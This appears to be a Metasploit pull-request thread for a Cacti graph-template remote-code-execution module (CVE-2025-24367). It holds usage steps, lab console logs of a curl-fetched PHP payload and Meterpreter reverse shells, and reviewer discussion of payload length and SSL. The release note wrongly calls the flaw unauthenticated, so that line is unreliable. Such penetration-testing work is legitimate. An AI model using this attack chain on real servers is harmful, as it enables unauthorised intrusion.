Cacti Graph Template Authenticated RCE [CVE-2025-24367]

[jheysel-r7]

This module exploits an authenticated remote code execution vulnerability in Cacti versions prior to 1.2.29. Authenticated users can upload a graph template through the /graph_templates.php endpoint. The right_axis_label parameter is vulnerable to code injection, allowing attackers to execute arbitrary commands on the server. The payload is length limited, due to this constraint the module starts an HTTP server and hosts the payload. The initial payload downloads the full payload using curl from the attacker's server and saves it to the web root of the cacti server before executing.

Verification

1. Install the application
2. Start msfconsole
3. Do: use linux/http/cacti_graph_template_rce
4. Do: set target <target>
5. Do: run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password>
6. You should get a shell.

Testing

Linux target Cacti 1.2.28

msf exploit(linux/http/cacti_graph_template_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/cacti_graph_template_rce) > run rhost=172.16.199.136 rport=8080 lhost=172.16.199.1 srvhost=172.16.199.1 srvport=9090 username=admin password=admin
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.199.1:4444
msf exploit(linux/http/cacti_graph_template_rce) > [*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.28
[*] Attempting login with user `admin` and password `admin`
[+] Logged in
[+] The target is vulnerable.
[*] Using URL: http://172.16.199.1:9090/y
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] 172.16.199.136   cacti_graph_template_rce - Request 'GET /y'
[*] 172.16.199.136   cacti_graph_template_rce - Sending payload ...
[+] PHP payload uploaded successfully to /cacti/X.php
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] Sending stage (3090404 bytes) to 172.16.199.136
[+] Deleted X.php
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.136:44642) at 2025-12-21 23:27:10 -0800
msf exploit(linux/http/cacti_graph_template_rce) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
sysServer username: www-data
infometerpreter > sysinfo
Computer     : 172.18.0.3
OS           : Debian 11.5 (Linux 6.8.0-90-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > exit

[smcintyre-r7]

I think this is going to break when SSL is set to true because, due to known issues, that will cause the server to also be SSL. See #20740. I think what you'd want to do here is use #get_uri which will return the URL, accounting for SSL and whether or not SRVHOST is an IPv4 or IPv6 address by wrapping it as necessary. The catch is you'll need to escape the necessary characters yourself to place it here. I'd also suggest adding the flag to curl that ignores self-signed SSL certs.

[jheysel-r7]

Thanks for raising these issues, all good points. Currently the upload_payload_command length is 45 characters. The maximum payload size appears to be 47 characters, as a payload of 48 characters breaks the exploit. I'll add that as a comment here.

I only have room to add 2 additional characters to upload_payload_command with the SRVHOST and SRVPORT I have defined, which means SSL cannot be used as adding -k https:// will exceed the limit. Also using an IPv6 would not be possible. I've added guards to ensure the limit is not exceeded by any of these factors in c45309e

[smcintyre-r7]

Working with SSL now too.

msf exploit(multi/http/cacti_graph_template_rce) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(multi/http/cacti_graph_template_rce) > 
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.28
[*] Attempting login with user `admin` and password `admin`
[+] Logged in
[+] The target is vulnerable.
[*] Using URL: http://192.168.159.128:808/s
[*] Payload execution command: php\x20i.php
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] 192.168.159.128  cacti_graph_template_rce - Request 'GET /s'
[*] 192.168.159.128  cacti_graph_template_rce - Sending payload ...
[+] PHP payload uploaded successfully to /cacti/s.php
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] Sending stage (41224 bytes) to 192.168.159.128
[+] Deleted s.php
[+] Deleted V.php
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.128:58896) at 2026-01-22 12:18:27 -0500
[*] Server stopped.

msf exploit(multi/http/cacti_graph_template_rce) > show options 

Module options (exploit/multi/http/cacti_graph_template_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   admin            yes       Password to login with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h,
                                          http, sapni, socks4
   RHOSTS     192.168.159.128  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit
                                         .html
   RPORT      8443             yes       The target port (TCP)
   SRVHOST    192.168.159.128  yes       The local host or network interface to listen on. This must be an address on the local machine or
                                          0.0.0.0 to listen on all addresses.
   SRVPORT    808              yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /cacti           yes       The base URI of Cacti
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME   admin            yes       User to login with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux



View the full module info with the info, or info -d command.

msf exploit(multi/http/cacti_graph_template_rce) > 

[smcintyre-r7]

Release Notes

This adds an exploit for CVE-2025-24367 which is an unauthenticated RCE in Cacti.